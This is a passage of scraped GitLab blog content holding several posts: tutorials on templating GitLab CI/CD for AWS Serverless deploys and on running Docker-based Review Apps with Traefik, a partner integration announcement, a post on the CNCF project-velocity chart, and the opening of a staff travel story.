Navigation","en-us/blog/redesigning-gitlabs-navigation.yml","en-us/blog/redesigning-gitlabs-navigation",{"_path":35421,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35422,"content":35428,"config":35434,"_id":35436,"_type":16,"title":35437,"_source":17,"_file":35438,"_stem":35439,"_extension":20},"/en-us/blog/making-ci-easier-with-gitlab",{"title":35423,"description":35424,"ogTitle":35423,"ogDescription":35424,"noIndex":6,"ogImage":35425,"ogUrl":35426,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35426,"schema":35427},"Making CI/CD easier with GitLab","The team at Trek10 tries to consider the need for automation and repeatability with everything they do. One team member gives a crash course in GitLab CI/CD and explains how they use it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680423/Blog/Hero%20Images/making-ci-easier-with-gitlab.jpg","https://about.gitlab.com/blog/making-ci-easier-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Making CI/CD easier with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rob Ribeiro\"}],\n        \"datePublished\": \"2017-07-13\",\n      }",{"title":35423,"description":35424,"authors":35429,"heroImage":35425,"date":35431,"body":35432,"category":734,"tags":35433},[35430],"Rob Ribeiro","2017-07-13","\n\nAt [Trek10](https://www.trek10.com/), we always try to consider the need for automation and repeatability with everything that we do. That’s why we focus on using tools like CloudFormation, [Serverless](/topics/serverless/), and CI/CD, as well as building other tools. Recently, I was tasked with doing various maintenance tasks on a number of internal tools/projects. Some needed upgrades from Node.js 0.10, some needed code fixes, and most needed CI/CD. Today, we’re just going to focus on the CI/CD part.\n\n\u003C!-- more -->\n\nIn spite of my past experience with Jenkins and TeamCity and our team’s experience with AWS (CodePipeline/CodeDeploy), I chose [GitLab CI/CD](/topics/ci-cd/) to standardize these projects. The biggest reason for this choice is history. As a project evolves, its CI/CD configuration may change. If you ever need to go back in time, you may have difficulty deploying again. Since GitLab CI/CD is based on a `.gitlab-ci.yml` config file that is committed with the code, as long as a commit built and deployed then, it stands a pretty good chance of building and deploying now. Being able to tweak CI/CD without leaving my editor was an additional bonus.\n\n### Crash course in GitLab CI/CD\n\nGitLab CI/CD relies on having a `.gitlab-ci.yml` file in the root of your repo. CI/CD for each commit is run against the `.gitlab-ci.yml` that is current for that commit. The fundamental unit of CI/CD for GitLab is a “job”. A job is a construct that runs a bash script against a commit in a particular context. You might have one job to run tests, other jobs to build for staging or production, and other jobs to deploy to particular environments. In the config file, jobs are represented by top level maps (aka “objects”) that are not otherwise “reserved” GitLab CI/CD maps. Examples of reserved top level maps: `image` (Docker image in which your jobs run), `services` (other Docker images that need to run while your jobs run), `before_script` (runs before every `script`), `after_script` (runs after every `script`), `stages` (redefines the stage names and order), `variables` (variables available to all jobs), and `cache` (controls what is cached between CI/CD runs; good for stuff from your package manager).\n\nEvery job must belong to a stage (if left out, `test` is the default). Stages are run in a sequence, and all of the jobs in a stage run with max parallelism available. The default stage sequence is: `build`, `test`, `deploy`. Each job also has `before_script`, `after_script`, `variables`, and `cache`. Defining these at a job level will override the top-level configuration. The most important of these is `variables`, because your variables are what make the production deploy job’s context different from the staging deploy job’s context. `variables` is just a map with a bunch of key value pairs. Variables are consumed with a syntax similar to bash: `${myVar}`. There are some limitations that you should know:\n\n* Variables do not support bash variable expansions, substitutions, defaults, etc.\n* Variables do not recurse or have a sense of order of evaluation, but top level variables can be used in job level variables. See the following examples:\n\n```\n# You CANNOT do this (referencing a sibling variable in the same map)\nvariables:\n    PROD_STAGE_NAME: prod\n    PROD_URL: https://thisismywebsite.com/${PROD_STAGE_NAME}\n```\n\n```\n# You CAN do this (referencing a top-level variable from a job's variables map)\nvariables:\n    PROD_STAGE_NAME: prod\n\nmy_job:\n    variables:\n        STAGE_NAME: ${PROD_STAGE_NAME}\n```\n\n```\n# But you CANNOT do something like this (nested variables)\nvariables:\n    CURRENT_STAGE: PROD\n    PROD_STAGE_NAME: prod\n\nmy_job:\n    variables:\n        STAGE_NAME: ${${CURRENT_STAGE}_STAGE_NAME}\n```\n\nThat last example gives us a ton of power. We’ll be sure to abuse that as we go.\n\nAs mentioned before, jobs run a bash script in a context. So every job must have a `script`. The last big thing that you need is “flow control”. By default, a job will run on every commit. Using the `only`, `except`, and `when` keys allows you to control how jobs are triggered. `only` and `except` accept the following options:\n\n* Branch names, e.g. `master` or `develop`\n* Tag names\n* JS style RegExp literals to evaluate against branch/tag names\n* These special keywords: `api`, `branches`, `external`, `tags`, `pushes`, `schedules`, `triggers`, and `web`\n* Using `branches` and `tags` with `only` cause a job to be run for every branch or tag, respectively\n* Repo path filters to deal with repo forks\n\nOne more important fact: jobs that start with a period character are disabled, e.g.: `.my_disabled_job`\n\nThat should be enough to get us started. You can find more [GitLab CI/CD documentation here](https://docs.gitlab.com/ee/ci/). The most useful bit is the `.gitlab-ci.yml` reference found [here](https://docs.gitlab.com/ee/ci/yaml/).\n\nAs with any new tool, I got to read and re-read the documentation and make some mistakes getting things right. By the time I was knee-deep in this, I realized there was a need to prevent anyone from having to do this again, myself included. The solution requires two things: a well-designed CI/CD template and a way to get that template into all of your new repositories. Let’s tackle template design next.\n\n### Designing a template\n\nThis part is hard to talk about in a completely generic manner. Instead, let’s walk through our use case. Looking at our projects past and present, I could usually bet on these characteristics:\n\n* Deploys to AWS (we are an AWS consultancy after all…)\n* Uses Serverless framework with Node.js or Python\n* May deploy production to multiple regions\n* May deploy different stages to different accounts\n\nIn addition, I realized that I needed these other options:\n\n* May need to “disable” dev/staging from doing real work\n* May want one dev environment per branch\n\nFinally, we decided on the following deployment strategy:\n\n* Production deploys via tags on `master`\n* Staging deploys on commits/merges to `master`\n* Dev deploys should work for all other branches (we’re not going to implement this one in this post)\n\nMy roots are as a software developer, so making things reusable is a core skill at this point. A good template is going to make it super easy for the intended cases and be fairly adaptable for other uses. Here is the goal:\n\n* One script per stage. That means only one test script, one build script, and one deploy script. Oh, and keep it DRY.\n* Jobs should be as similar as possible, and differences should be tweaked by top level variables.\n\nLet’s focus on that single script per stage. We’re not going to cover how to write the deployment script, but we’ll focus on the deploy stage. But let’s say we start with a deployment job like this:\n\n```\ndeploy:production:\n    stage: deploy\n    script: |\n        # assume ${DEPLOYMENT_ROLE} in AWS\n        # install dependencies\n        # run serverless deployment with ${STAGE_NAME} ${REGION}\n    variables:\n        DEPLOYMENT_ROLE: arn:aws:iam::1234567890:role/gitlab-ci-deployment\n        STAGE_NAME: prod\n        REGION: us-east-1\n        ACCOUNT: \"1234567890\"\n    only:\n        - tags\n```\n\n\nNow we could copy and tweak this for staging and dev, but that’s not what we’re after. First, let’s break the script off to a reusable chunk and use it in our staging deploy:\n\n```\n.deployment_script: &deployment_script\n    stage: deploy\n    script: |\n        # assume ${DEPLOYMENT_ROLE} in AWS\n        # install dependencies\n        # run serverless deployment with ${STAGE_NAME} ${REGION}\n\ndeploy:production:\n    \u003C\u003C: *deployment_script\n    variables:\n        DEPLOYMENT_ROLE: arn:aws:iam::1234567890:role/gitlab-ci-deployment\n        STAGE_NAME: prod\n        REGION: us-east-1\n        ACCOUNT: \"1234567890\"\n        PRODUCTION: \"true\"\n    only:\n        - tags\n\ndeploy:staging:\n    \u003C\u003C: *deployment_script\n    variables:\n        DEPLOYMENT_ROLE: arn:aws:iam::0987654321:role/gitlab-ci-deployment\n        STAGE_NAME: staging\n        REGION: us-east-1\n        ACCOUNT: \"0987654321\"\n    only:\n        - master\n```\n\nUsing YAML anchors and references, we can inject the script into all of our deployment jobs. Notice that the deployment script is disabled. This is because we don’t want it to run in parallel with all of our intended jobs. We also added a `PRODUCTION` environment variable to just the production deploy to allow our script to pick that up too. If your code knows about this, you can use this to turn on/off production-only features. Now, we can make this cleaner and easier for our developers by pulling all of the `variables` to a top-level variables map at the top of the file:\n\n```\nvariables:\n    PROD_ACCOUNT: \"1234567890\"\n    PROD_STAGE_NAME: prod\n    PROD_REGION: us-east-1\n    STAGING_ACCOUNT: \"0987654321\"\n    STAGING_STAGE_NAME: staging\n    STAGING_REGION: us-east-1\n\n.deployment_script: &deployment_script\n    stage: deploy\n    script: |\n        # assume ${DEPLOYMENT_ROLE} in AWS\n        # install dependencies\n        # run serverless deployment with ${STAGE_NAME}, ${REGION}, and ${ACCOUNT}\n\ndeploy:production:\n    \u003C\u003C: *deployment_script\n    variables:\n        DEPLOYMENT_ROLE: \"arn:aws:iam::${PROD_ACCOUNT}:role/gitlab-ci-deployment\"\n        STAGE_NAME: ${PROD_STAGE_NAME}\n        REGION: ${PROD_REGION}\n        ACCOUNT: ${PROD_ACCOUNT}\n        PRODUCTION: \"true\"        \n    only:\n        - tags\n\ndeploy:staging:\n    \u003C\u003C: *deployment_script\n    variables:\n        DEPLOYMENT_ROLE: \"arn:aws:iam::${STAGING_ACCOUNT}:role/gitlab-ci-deployment\"\n        STAGE_NAME: ${STAGING_STAGE_NAME}\n        REGION: ${STAGING_REGION}\n        ACCOUNT: ${STAGING_ACCOUNT}\n    only:\n        - master\n```\n\n\nNow, that’s looking more reusable, and we have accomplished our second goal of making the jobs very similar and controlled by top-level variables. This makes it easy for anyone who fits the template’s use case perfectly to reuse it. We could easily add the dev environment, but we’ll skip that in favor of illustrating multi-region production deploys:\n\n```\nvariables:\n    PROD_ACCOUNT: \"1234567890\"\n    PROD_STAGE_NAME: prod\n    PROD1_REGION: us-east-1\n    PROD2_REGION: us-west-2\n    STAGING_ACCOUNT: \"0987654321\"\n    STAGING_STAGE_NAME: staging\n    STAGING_REGION: us-east-1\n\n.deployment_script: &deployment_script\n    stage: deploy\n    script: |\n        # assume ${DEPLOYMENT_ROLE} in AWS\n        # install dependencies\n        # run serverless deployment with ${STAGE_NAME}, ${REGION}, and ${ACCOUNT}\n\n.production_variables\n    DEPLOYMENT_ROLE: \"arn:aws:iam::${PROD_ACCOUNT}:role/gitlab-ci-deployment\"\n    STAGE_NAME: ${PROD_STAGE_NAME}\n    ACCOUNT: ${PROD_ACCOUNT}\n    PRODUCTION: \"true\"    \n\ndeploy:production_1: &deploy_production\n    \u003C\u003C: *deployment_script\n    variables:\n        \u003C\u003C: *production_variables\n        REGION: ${PROD1_REGION}\n    only:\n        - tags\n\ndeploy:production_2:\n    \u003C\u003C: *deploy_production\n    variables:\n        \u003C\u003C: *production_variables\n        REGION: ${PROD2_REGION}        \n\ndeploy:staging:\n    \u003C\u003C: *deployment_script\n    variables:\n        DEPLOYMENT_ROLE: \"arn:aws:iam::${STAGING_ACCOUNT}:role/gitlab-ci-deployment\"\n        STAGE_NAME: ${STAGING_STAGE_NAME}\n        REGION: ${STAGING_REGION}\n        ACCOUNT: ${STAGING_ACCOUNT}\n    only:\n        - master\n```\n\nNotice that we have changed the job names to reflect having multiple regions. In addition, we are making use of YAML anchors and references to copy the entire `deploy:production_1` job into `deploy:production_2` and then we just override the `REGION` variable. This makes adding additional regions super easy.\n\nWhat’s more useful at this point is that, as long as you have made your script flexible enough, you can now distribute this to your development team as a template. If their project fits the script and configuration perfectly, they should just have to fill in the correct values for the top-level variables and go. For those needing something different, they should hopefully be able to just tweak the script. Now, we just need to solve the problem of making sure that they actually use the template…\n\n### Automatic CI/CD injection with GitLab and AWS Lambda\n\nI was inspired by GitHub’s option to select a .gitignore and license during the repo creation process. What if we could have that for CI? Forking GitLab and figuring out how to hack this in did not sound like a quick or easy thing to do. However, after a little research, I found that we could use a system hook to trigger a Lambda that could inject the desired template via the commit API. This part is not as interesting to read about, so we did one better: we have open sourced this tool so you can deploy it in your environment. Check out the repo [here](https://github.com/trek10inc/gitlab-boilerplate-injector). And if you’re looking for someone to help you implement these and other awesome automations and AWS solutions, we would love to talk to you. Feel free to reach out to us at info@trek10.com for more. Thanks for reading!\n\n## About the Guest Author\n\nRob has spent his career honing his interpersonal, technical, and problem solving skills. He spent five years in customer service and management, followed by over five years in software development and consulting. He has experience working and consulting for everything from startups to Fortune 500 enterprises in a variety of industries including manufacturing, healthcare, and finance. Rob has earned a MS in Applied Mathematics and Computer Science from Indiana University and a BS in Pharmaceutical Sciences from Purdue University.\n",[110,4772],{"slug":35435,"featured":6,"template":678},"making-ci-easier-with-gitlab","content:en-us:blog:making-ci-easier-with-gitlab.yml","Making Ci Easier With Gitlab","en-us/blog/making-ci-easier-with-gitlab.yml","en-us/blog/making-ci-easier-with-gitlab",{"_path":35441,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35442,"content":35448,"config":35454,"_id":35456,"_type":16,"title":35457,"_source":17,"_file":35458,"_stem":35459,"_extension":20},"/en-us/blog/dockerizing-review-apps",{"title":35443,"description":35444,"ogTitle":35443,"ogDescription":35444,"noIndex":6,"ogImage":35445,"ogUrl":35446,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35446,"schema":35447},"Dockerizing GitLab Review Apps","A GitLab user shows us how to deploy Docker containers as a Review App.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680430/Blog/Hero%20Images/dockerizing-review-apps.jpg","https://about.gitlab.com/blog/dockerizing-review-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Dockerizing GitLab Review Apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephan Hochdörfer\"}],\n        \"datePublished\": \"2017-07-11\",\n      }",{"title":35443,"description":35444,"authors":35449,"heroImage":35445,"date":35451,"body":35452,"category":734,"tags":35453},[35450],"Stephan Hochdörfer","2017-07-11","\n\nLast year GitLab introduced the [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) feature. Review Apps are app environments that are created dynamically every time you push a new branch up to GitLab. As a bonus point the app environments are automatically deleted when the branch is deleted. Since we moved to using Docker for quite a few of our projects I was keen on figuring out how to combine Docker and the GitLab Review Apps functionality as the documentation only mentions NGINX as a way to run Review Apps. As it turns out, it is rather simple to deploy Docker containers as a Review App.\n\n\u003C!-- more -->\n\nIn our scenario the GitLab Runner for building the Docker image and the GitLab Runner for \"running\" the Review Apps make use of the shell executor, that way we do not have to deal with Docker-in-Docker issues. Besides installing the gitlab-ci-multi-runner package we also installed Docker and docker-compose.\n\nFirst of all, we define two build stages in the .gitlab-ci.yml file – the build and deploy stage:\n\n```html\nstages:\n  - build\n  - deploy\n  ```\n\nThe build stage is defined like this:\n```html\nbuild:\n  tags:\n    - php7\n  stage: build\n  script:\n    - echo \"Building the app\"\n    - composer.phar install\n    - docker build -t myproject/myapp .\n    - docker tag myproject/myapp:latest \\\n      registry.loc/myproject/myapp:$CI_COMMIT_REF_NAME\n    - docker push registry.loc/myproject/myapp:$CI_COMMIT_REF_NAME\n  only:\n  - master\n  ```\n\nThis will create the Docker image and push it to our Sonatype Nexus instance which serves as a private Docker registry for us. As you can see I make use of the $CI_COMMIT_REF_NAME variable when tagging the Docker image. That way, we end up with a Docker image per branch. Downside: you cannot use characters in the branch name which are no valid Docker version identifiers. I still need to figure out a fix for this.\n\nThe deploy stage consists of two jobs: one for deploying the container, the other for undeploying the container:\n\n```html\ndeploy_dev:\n  tags:\n    - dev\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  script:\n    - echo \"Deploy to dev.loc\"\n    - docker pull registry.loc/myproject/myapp:$CI_COMMIT_REF_NAME\n    - docker stop reviewapp-demo-$CI_COMMIT_REF_NAME || true\n    - docker rm reviewapp-demo-$CI_COMMIT_REF_NAME || true\n    - docker run -d -P -l traefik.enable=true \\\n      -l traefik.frontend.rule=Host:reviewapp.dev.loc \\\n      -l traefik.protocol=http --name reviewapp-demo-$CI_COMMIT_REF_NAME \\\n      registry.loc/myproject/myapp:$CI_COMMIT_REF_NAME\n  environment:\n    name: dev\n    url: http://reviewapp.dev.loc\n  only:\n  - master\n  ```\n\nWhen this code is run it will simply pull the latest image from the private Docker registry and run it. Since the gitlab-runner user will push the image to the registry the user needs an account there and needs to be authenticated against the registry. I could not find a way how to configure the registry credentials via the .gitlab.yml file, so I ssh'ed into the boxes and manually run a \"docker login registry.loc\" for the gitlab-runner user. Currently we do not have many servers - virtual machines in our case - so that approach is fine, but does not scale in the future.\n\nWhen running the container we set a fixed name for the container. That way, we can easily stop it when it comes to the undeploy job. We also define some Traefik labels as we use Traefik in front of the docker daemon to route the requests. Traefik itself runs in a container as well. The Traefik container is launched like this:\n\n```html\ndocker run -d --restart=always -p 8080:8080 -p 80:80 -p 443:443 \\\n-l traefik.enable=false --name=traefik \\\n-v /var/run/docker.sock:/var/run/docker.sock \\\n-v /etc/traefik/traefik.toml:/etc/traefik/traefik.toml \\\n-v /etc/traefik/ssl/cert.key:/etc/traefik/ssl/cert.key \\\n-v /etc/traefik/ssl/cert.pem:/etc/traefik/ssl/cert.pem \\\ntraefik\n```\n\nWe do not use any fancy Traefik configuration, just the defaults for the docker backend. Since the Review Apps server runs in our intranet and uses our intranet domain name we were not able to use the Let's Encrypt support built in Traefik. Instead, we were required to generate a self-signed SSL certificate and mount that in the Traefik container.\n\nThe undeploy job is the final piece of the puzzle. GitLab allows you to manually stop Review Apps by clicking a Pause button the GitLab UI. To undeploy a Review App we simply stop and remove the container by the defined name.\n\n```html\nundeploy_dev:\n  tags:\n    - dev\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  script:\n    - echo \"Remove review app from dev.loc\"\n    - docker stop reviewapp-demo-$CI_COMMIT_REF_NAME || true\n    - docker rm reviewapp-demo-$CI_COMMIT_REF_NAME || true\n  when: manual\n  environment:\n    name: dev\n    action: stop\n```\n\nBoth the deploy_dev and the undeploy_dev job are bound by the tag \"dev\" to the dev server which hosts our docker instances. That way the docker instances will always start on the right server.\n\n## About the Author\n\n[Stephan Hochdörfer](https://twitter.com/shochdoerfer) currently holds the position of Head of Technology at [bitExpert AG](https://www.bitexpert.de), a company specializing in software and mobile development. His primary focus is everything related to web development as well as automation techniques ranging from code generation to deployment automation.\n\n_This post was originally published on [blog.bitexpert.de](https://blog.bitexpert.de/blog/dockerizing-gitlab-review-apps/)._\n\n[Cover image](https://unsplash.com/@guibolduc?photo=uBe2mknURG4) by [Guillaume Bolduc](https://unsplash.com/@guibolduc) on Unsplash\n{: .note}\n",[4772,110],{"slug":35455,"featured":6,"template":678},"dockerizing-review-apps","content:en-us:blog:dockerizing-review-apps.yml","Dockerizing Review Apps","en-us/blog/dockerizing-review-apps.yml","en-us/blog/dockerizing-review-apps",{"_path":35461,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35462,"content":35467,"config":35474,"_id":35476,"_type":16,"title":35477,"_source":17,"_file":35478,"_stem":35479,"_extension":20},"/en-us/blog/stackpoint-gitlab-integration",{"title":35463,"description":35464,"ogTitle":35463,"ogDescription":35464,"noIndex":6,"ogImage":35292,"ogUrl":35465,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35465,"schema":35466},"GitLab K8s clusters: Backup and trusted charts in 10 min","StackPointCloud partners with GitLab to create a simple, turn-key experience for developers who want to move faster into production with their apps.","https://about.gitlab.com/blog/stackpoint-gitlab-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Turn-Key GitLab Enterprise Kubernetes clusters, backup, trusted charts — all in less than 10 minutes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Baldwin\"}],\n        \"datePublished\": \"2017-07-10\",\n      }",{"title":35468,"description":35464,"authors":35469,"heroImage":35292,"date":35471,"body":35472,"category":299,"tags":35473},"Turn-Key GitLab Enterprise Kubernetes clusters, backup, trusted charts — all in less than 10 minutes",[35470],"Matt Baldwin","2017-07-10","\n\n[Stackpoint.io](https://stackpointcloud.com/) is excited to announce we’ve worked with GitLab to enable an end-to-end turn-key solution that will help developers move even faster from idea to production.\n\n\u003C!-- more -->\n\nStackpoint.io advances the mandate of allowing developers to continue to focus on building product, leaving configuring the tooling to GitLab and Stackpoint.io. With this release, together, users can manage and collaborate on their clusters and ensure Gitlab EE is operating correctly — all in a turn-key, developer-friendly way.\n\nOur Kubernetes cloud management platform now allows you to:\n\n* Build a GitLab EE Kubernetes cluster on the cloud of your choice - Google Compute, AWS, or Azure-in three easy steps.\n* Deploy GitLab EE to an existing Kubernetes cluster.\n* Upgrade your GitLab EE Kubernetes cluster in one click.\n* Set up a Kubernetes backup schedule-store in Google or Amazon, recover anywhere.\n* Get all your operational components, pre-configured, at build or run time-Sysdig for monitoring, Twistlock for security, Elasticsearch with Fluentd and Kibana for logging, and more.\n* Allow your developers quick and easy access to operational tools, trimmed down. For example, they can dive into their cluster’s Prometheus metrics – one click.\n\n![StackPoint integration with GitLab](https://about.gitlab.com/images/blogimages/stackpoint-integration.png)\n\nOur GitLab integration not only allows you to run a self-healing deployment of GitLab EE on Kubernetes, but we’ve also integrated Docker Registry automatically, if you’re running on AWS we set up ELB for you and secure it all with Let’s Encrypt.\n\n## Get started\n\n1. Get a new GitLab EE Kubernetes cluster up, running, and configured for production within 10 minutes.\n\n2. Deploy your first app to Kubernetes using GitLab.\n\n3. Schedule your protection of your cluster.\n\nGive it a shot [now](https://stackpoint.io/#/clusters/new?provider=aws&solution=gitlab_ee).\n",[2509,3554,232],{"slug":35475,"featured":6,"template":678},"stackpoint-gitlab-integration","content:en-us:blog:stackpoint-gitlab-integration.yml","Stackpoint Gitlab Integration","en-us/blog/stackpoint-gitlab-integration.yml","en-us/blog/stackpoint-gitlab-integration",{"_path":35481,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35482,"content":35488,"config":35493,"_id":35495,"_type":16,"title":35496,"_source":17,"_file":35497,"_stem":35498,"_extension":20},"/en-us/blog/gitlab-top-30-highest-velocity-open-source",{"title":35483,"description":35484,"ogTitle":35483,"ogDescription":35484,"noIndex":6,"ogImage":35485,"ogUrl":35486,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35486,"schema":35487},"We're one of the 30 Highest Velocity Open Source Projects","With a magical combination of number of commits, authors, issues and merge requests, we're in great company with other open source projects with momentum.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671330/Blog/Hero%20Images/highest-velocity-open-source-projects.jpg","https://about.gitlab.com/blog/gitlab-top-30-highest-velocity-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're one of the 30 Highest Velocity Open Source Projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-07-06\",\n      }",{"title":35483,"description":35484,"authors":35489,"heroImage":35485,"date":35490,"body":35491,"category":813,"tags":35492},[19026],"2017-07-06","\n\nIn June the Cloud Native Computing Foundation released its chart of the [top open source projects with the highest developer velocity](https://www.cncf.io/blog/30-highest-velocity-open-source-projects/), and we're proud to be included – in good company!\n\n\u003C!-- more -->\n\nMeasuring commits, authors, issues and merge or pull requests, the chart places GitLab in the top right quadrant with eight others including [Kubernetes](https://docs.gitlab.com/ee/user/project/clusters/index.html) and [Elasticsearch](https://docs.gitlab.com/ee/integration/elasticsearch.html).\n\n![CNCF highest velocity open source projects chart](https://about.gitlab.com/images/blogimages/CNCF-highest-velocity-open-source-chart.png){: .shadow}\n\n## Open Source at Heart\n\nWhile ['open core'](/blog/gitlab-is-open-core-github-is-closed-source/) might be a more accurate description of GitLab, as we ship both an [open source version](/pricing/feature-comparison/) and [closed source version](/pricing/), we adopt an open source approach to both, with a publicly viewable issue tracker and license that allows modifications once you purchase a license.\n\nWe already know that there are good reasons [why you should choose to work with open source projects](/blog/why-choose-open-source/), and we're grateful to our over [1700 contributors](http://contributors.gitlab.com/contributors) who have helped to shape GitLab – not just the product, but the company too. I work in the Marketing team and am always surprised and pleased when a member of our community pops up in an issue in the [Marketing project](https://gitlab.com/gitlab-com/marketing/issues) to offer some input or share an idea. It's a great reminder that [everyone can contribute](/community/contribute/), and those contributions go far beyond development.\n\nSo, thank you!\n\n## Keep Those Contributions Coming\n\nIf you're new to GitLab, [this will help](/blog/heres-how-new-programmers-can-learn-by-contributing-to-gitlab/), otherwise, as always, feel free to [open or comment on an issue](https://gitlab.com/gitlab-org/gitlab-ce/issues). See [all the ways you can contribute here](/community/contribute/).\n\n[Cover image](https://unsplash.com/search/jaws-haiku-pauwela-united-states?photo=sW8psg40WXY) by [Anton Repponen](https://unsplash.com/@repponen) on Unsplash\n{: .note}\n",[815,736],{"slug":35494,"featured":6,"template":678},"gitlab-top-30-highest-velocity-open-source","content:en-us:blog:gitlab-top-30-highest-velocity-open-source.yml","Gitlab Top 30 Highest Velocity Open Source","en-us/blog/gitlab-top-30-highest-velocity-open-source.yml","en-us/blog/gitlab-top-30-highest-velocity-open-source",{"_path":35500,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35501,"content":35506,"config":35511,"_id":35513,"_type":16,"title":35514,"_source":17,"_file":35515,"_stem":35516,"_extension":20},"/en-us/blog/there-and-back-again-in-one-release",{"title":35502,"description":35503,"ogTitle":35502,"ogDescription":35503,"noIndex":6,"ogImage":11919,"ogUrl":35504,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35504,"schema":35505},"There and back again in one release","One GitLab team-member spent 5 weeks visiting and working with 6 different colleagues in 5 cities, in 4 countries across Europe and Asia","https://about.gitlab.com/blog/there-and-back-again-in-one-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"There and back again in one release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dimitrie Hoekstra\"}],\n        \"datePublished\": \"2017-06-30\",\n      }",{"title":35502,"description":35503,"authors":35507,"heroImage":11919,"date":35508,"body":35509,"category":299,"tags":35510},[33083],"2017-06-30","\n\nInspired by [Robert][robert] and [Douwe][douwe] and their trip called [Around the world in 6 releases][6-releases], another GitLab team-member [Dimitrie][dimitrie] accepted the challenge of pursuing the \"[Travel to visit GitLab team-members][travel-policy]\" company policy by making use of the \"[visiting grant][visiting-grant]\". Visiting 6 different colleagues in 5 cities, in 4 countries across Europe and Asia he has a story to tell. Read on for the why, how, who and where.\n\n\u003C!-- more -->\n\n## The incentive\n\nThis year has been an amazing journey for me, with one of the highlights being the [GitLab summit][summit] in [Cancun, Mexico][cancun]. This event, at which I could bring along my \"significant other\" to the other side of the world was an amazing opportunity. Meeting people you already know online for the first time is a strange, but wonderful experience.\n\n![foto van mexico met iedereen](https://about.gitlab.com/images/8_16/pic.jpg)\n\nThis brings me to meeting [Arihant][arihant], which is one of our support engineers. We met in the back of a van, which was driving us back from [ziplining and swimming in the jungle](/images/blogimages/gitlab-mexico-summit-2017/dimitrie-hoekstra-cenote.gif). [Arihant][arihant] told me about the wonders of [India][india] and made sure I knew I was welcome if I ever thought of visiting him. Working at a fully remote company such as GitLab, where this is an actual possibility, set my mind to work...\n\nThinking about going and actually making it real for yourself, is something else. Who will I meet, where can I go? As a bonus, two of my best friends were and are still backpacking the world. Meeting them so far away from home would be awesome.\n\nBeing one of the UX designers at GitLab, I remembered that one person of the UX team couldn't make it to the [summit][summit] back in January. [Hazel][hazel], who resides in [Taipei, Taiwan][taipei], was the only one which I didn't meet in real life yet. So I reached out to see if I could visit her. She loved the idea!\n\nMeanwhile [Collen][collen], another support engineer living in [Kampot, Cambodia][kampot], made my eyes roll out of their sockets with pictures of [Angkor Wat][angkorwat].\n\nLastly, both [Kushal][kushal] from [Pune, India][pune] and [Jen-shin][jen-shin] from [Taipei, Taiwan][taipei] were happy to meet me as well, when I would be nearby.\n\n## Planning\n\nKnowing who I was going to visit, I had to make sure that dates and people where going to match. Not being the first one in the company to do such a trip, I could see how my colleagues had planned ahead. I expanded and built on their spreadsheet concept, until it became my master plan!\n\nPerson availability, general trip timeline and total cost estimation were the first things I created. I needed them to get my plan approved. Eventually it got upgraded with people and personal travel information to make it more useful for myself. As a bonus, there are some nifty little automation features in there as well.\n\nYou can check out a template copy of it [here][template-copy]!\n\n[Google spreadsheets](https://www.google.com/sheets/about/) allows you to assign people to certain tasks and cells. This made it very easy for people to put in their own information, while being able to see information from others. In other words, efficient team collaboration!\n\nThe result was an approved plan, where everybody was on the same page, by following [the six core values of GitLab][values]: \"Collaboration, Results, Efficiency, Diversity, Iteration, and Transparency (CREDIT)\". Thanks GitLab!\n\n## The scale of remoteness\n\n![worldmap photo](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/full-globe-map-people.jpg){: .vista}\n\nWith my first one-way trip tickets booked, preparing and working eating up most of my time, it was suddenly time to go!\n\nOff to [London][london] it was, for an overnight transit. GitLab, it seems, is everywhere. So I met up with James to make the most of it. Some pints and laughs to celebrate the beginning of this journey, cheers!\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-1\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-1\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-1\" data-slide-to=\"1\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/london.jpg\" alt=\"London\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/james-cheers.jpg\" alt=\"Cheers with James\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-1\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" 